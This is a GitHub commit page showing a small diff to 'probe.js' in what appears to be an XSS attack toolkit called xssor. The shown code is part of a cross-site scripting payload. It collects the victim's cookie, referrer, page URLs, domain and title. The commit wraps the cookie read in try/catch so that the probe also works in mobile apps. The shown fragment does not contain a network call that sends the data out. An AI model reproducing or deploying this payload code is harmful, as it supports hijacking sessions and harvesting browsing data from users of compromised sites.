Skip to content

Commit

Permalink
Merge pull request #3 from chou1551/master
Browse files Browse the repository at this point in the history
fix a bug in mobile app while without cookie.
  • Loading branch information
evilcos authored Aug 13, 2017
2 parents cbd38c6 + 9e37fb0 commit bd84414
Showing 1 changed file with 5 additions and 1 deletion.
6 changes: 5 additions & 1 deletion xssor/payload/probe.js
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,11 @@ xssor.info.pid = 'abcdefg';
xssor.info.referrer = document.referrer;
xssor.info.location = window.location.href;
xssor.info.toplocation = top.location.href;
xssor.info.cookie = document.cookie;
try {
xssor.info.cookie = document.cookie;
} catch(error) {
xssor.info.cookie = "-";
};
xssor.info.domain = document.domain;
xssor.info.title = document.title;
xssor.info.charset = document.characterSet ? document.characterSet : document.charset;
Expand Down

0 comments on commit bd84414

Please sign in to comment.